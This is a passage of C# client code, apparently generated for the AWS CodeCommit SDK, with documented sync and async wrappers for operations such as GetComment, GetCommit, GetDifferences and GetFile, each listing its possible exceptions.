cref="Amazon.CodeCommit.Model.CommentDoesNotExistException"> /// No comment exists with the provided ID. Verify that you have provided the correct /// ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentIdRequiredException"> /// The comment ID is missing or null. A comment ID is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommentIdException"> /// The comment ID is not in a valid format. Make sure that you have provided the full /// comment ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetComment">REST API Reference for GetComment Operation</seealso> public virtual GetCommentResponse GetComment(GetCommentRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetCommentRequestMarshaller.Instance; options.ResponseUnmarshaller = GetCommentResponseUnmarshaller.Instance; return Invoke<GetCommentResponse>(request, options); } /// <summary> /// Returns the content of a comment made on a change, file, or commit in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetComment service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetComment service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommentDeletedException"> /// This comment has already been deleted. You cannot edit or delete a deleted comment. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDoesNotExistException"> /// No comment exists with the provided ID. Verify that you have provided the correct /// ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentIdRequiredException"> /// The comment ID is missing or null. A comment ID is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommentIdException"> /// The comment ID is not in a valid format. Make sure that you have provided the full /// comment ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetComment">REST API Reference for GetComment Operation</seealso> public virtual Task<GetCommentResponse> GetCommentAsync(GetCommentRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetCommentRequestMarshaller.Instance; options.ResponseUnmarshaller = GetCommentResponseUnmarshaller.Instance; return InvokeAsync<GetCommentResponse>(request, options, cancellationToken); } #endregion #region GetCommentsForComparedCommit /// <summary> /// Returns information about comments made on the comparison between two commits. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetCommentsForComparedCommit service method.</param> /// /// <returns>The response from the GetCommentsForComparedCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentsForComparedCommit">REST API Reference for GetCommentsForComparedCommit Operation</seealso> public virtual GetCommentsForComparedCommitResponse GetCommentsForComparedCommit(GetCommentsForComparedCommitRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetCommentsForComparedCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = GetCommentsForComparedCommitResponseUnmarshaller.Instance; return Invoke<GetCommentsForComparedCommitResponse>(request, options); } /// <summary> /// Returns information about comments made on the comparison between two commits. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetCommentsForComparedCommit service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetCommentsForComparedCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentsForComparedCommit">REST API Reference for GetCommentsForComparedCommit Operation</seealso> public virtual Task<GetCommentsForComparedCommitResponse> GetCommentsForComparedCommitAsync(GetCommentsForComparedCommitRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetCommentsForComparedCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = GetCommentsForComparedCommitResponseUnmarshaller.Instance; return InvokeAsync<GetCommentsForComparedCommitResponse>(request, options, cancellationToken); } #endregion #region GetCommentsForPullRequest /// <summary> /// Returns comments made on a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetCommentsForPullRequest service method.</param> /// /// <returns>The response from the GetCommentsForPullRequest service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentsForPullRequest">REST API Reference for GetCommentsForPullRequest Operation</seealso> public virtual GetCommentsForPullRequestResponse GetCommentsForPullRequest(GetCommentsForPullRequestRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetCommentsForPullRequestRequestMarshaller.Instance; options.ResponseUnmarshaller = GetCommentsForPullRequestResponseUnmarshaller.Instance; return Invoke<GetCommentsForPullRequestResponse>(request, options); } /// <summary> /// Returns comments made on a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetCommentsForPullRequest service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetCommentsForPullRequest service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentsForPullRequest">REST API Reference for GetCommentsForPullRequest Operation</seealso> public virtual Task<GetCommentsForPullRequestResponse> GetCommentsForPullRequestAsync(GetCommentsForPullRequestRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetCommentsForPullRequestRequestMarshaller.Instance; options.ResponseUnmarshaller = GetCommentsForPullRequestResponseUnmarshaller.Instance; return InvokeAsync<GetCommentsForPullRequestResponse>(request, options, cancellationToken); } #endregion #region GetCommit /// <summary> /// Returns information about a commit, including commit message and committer information. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetCommit service method.</param> /// /// <returns>The response from the GetCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitIdDoesNotExistException"> /// The specified commit ID does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommit">REST API Reference for GetCommit Operation</seealso> public virtual GetCommitResponse GetCommit(GetCommitRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = GetCommitResponseUnmarshaller.Instance; return Invoke<GetCommitResponse>(request, options); } /// <summary> /// Returns information about a commit, including commit message and committer information. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetCommit service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitIdDoesNotExistException"> /// The specified commit ID does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommit">REST API Reference for GetCommit Operation</seealso> public virtual Task<GetCommitResponse> GetCommitAsync(GetCommitRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = GetCommitResponseUnmarshaller.Instance; return InvokeAsync<GetCommitResponse>(request, options, cancellationToken); } #endregion #region GetDifferences /// <summary> /// Returns information about the differences in a valid commit specifier (such as a branch, /// tag, HEAD, commit ID or other fully qualified reference). Results can be limited to /// a specified path. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetDifferences service method.</param> /// /// <returns>The response from the GetDifferences service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathDoesNotExistException"> /// The specified path does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetDifferences">REST API Reference for GetDifferences Operation</seealso> public virtual GetDifferencesResponse GetDifferences(GetDifferencesRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetDifferencesRequestMarshaller.Instance; options.ResponseUnmarshaller = GetDifferencesResponseUnmarshaller.Instance; return Invoke<GetDifferencesResponse>(request, options); } /// <summary> /// Returns information about the differences in a valid commit specifier (such as a branch, /// tag, HEAD, commit ID or other fully qualified reference). Results can be limited to /// a specified path. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetDifferences service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetDifferences service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathDoesNotExistException"> /// The specified path does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetDifferences">REST API Reference for GetDifferences Operation</seealso> public virtual Task<GetDifferencesResponse> GetDifferencesAsync(GetDifferencesRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetDifferencesRequestMarshaller.Instance; options.ResponseUnmarshaller = GetDifferencesResponseUnmarshaller.Instance; return InvokeAsync<GetDifferencesResponse>(request, options, cancellationToken); } #endregion #region GetFile /// <summary> /// Returns the base-64 encoded contents of a specified file and its metadata. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetFile service method.</param> /// /// <returns>The response from the GetFile service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileDoesNotExistException"> /// The specified file does not exist. Verify that you have provided the correct name /// of the file, including its full path and extension. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileTooLargeException"> /// The specified file exceeds the file size limit for AWS CodeCommit. For more information /// about limits in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html">AWS /// CodeCommit User Guide</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetFile">REST API Reference for GetFile Operation</seealso> public virtual GetFileResponse GetFile(GetFileRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetFileRequestMarshaller.Instance; options.ResponseUnmarshaller = GetFileResponseUnmarshaller.Instance; return Invoke<GetFileResponse>(request, options); } /// <summary> /// Returns the base-64 encoded contents of a specified file and its metadata. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetFile service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetFile service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileDoesNotExistException"> /// The specified file does not exist. Verify that you have provided the correct name /// of the file, including its full path and extension. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileTooLargeException"> /// The specified file exceeds the file size limit for AWS CodeCommit. For more information /// about limits in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html">AWS /// CodeCommit User Guide</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetFile">REST API Reference for GetFile Operation</seealso> public virtual Task<GetFileResponse> GetFileAsync(GetFileRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetFileRequestMarshaller.Instance; options.ResponseUnmarshaller = GetFileResponseUnmarshaller.Instance; return InvokeAsync<GetFileResponse>(request, options, cancellationToken); } #endregion #region GetFolder /// <summary> /// Returns the contents of a specified folder in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetFolder service method.</param> /// /// <returns>The response from the GetFolder service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderDoesNotExistException"> /// The specified folder does not exist. Either the folder name is not correct, or you /// did not provide the full path to the folder. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception 